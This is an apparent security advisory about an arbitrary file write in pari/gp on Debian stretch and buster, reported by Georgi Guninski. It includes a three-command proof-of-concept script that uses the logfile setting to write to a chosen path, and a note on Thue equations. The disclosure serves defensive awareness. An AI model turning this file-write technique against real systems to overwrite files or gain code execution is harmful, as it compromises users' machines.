Lucene search
K

pari/gp 2.x Arbitrary File Overwrite

🗓️ 26 Nov 2019 00:00:00Reported by Georgi GuninskiType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 257 Views

pari/gp Arbitrary File Overwrite on Debia

Code
`pari/gp on debian stable allow arbitrary file write  
  
pari/gp is CAS (computer algebra system).  
pari/gp version 2.9.1 on debian stretch and 2.11 on debian buster  
allow arbitrary file write and hence arbitrary code execution.  
  
poc:  
========  
\\ a.gp  
\\ to run: \r a.gp  
default("logfile","/tmp/a.txt");default("log",1);print("log(1)");  
========  
  
Of mathematical interest is pari was missing solutions  
to Thue equations when assuming GRH (the fix changed polynomial  
bound to exponential bound):  
http://pari.math.u-bordeaux.fr/archives/pari-dev-1207/msg00000.html  
t=thue(thueinit(x^3+92*x+1,0),3^3);t  
  
--   
CV: https://j.ludost.net/resumegg.pdf  
site: http://www.guninski.com  
blog: https://j.ludost.net/blog  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation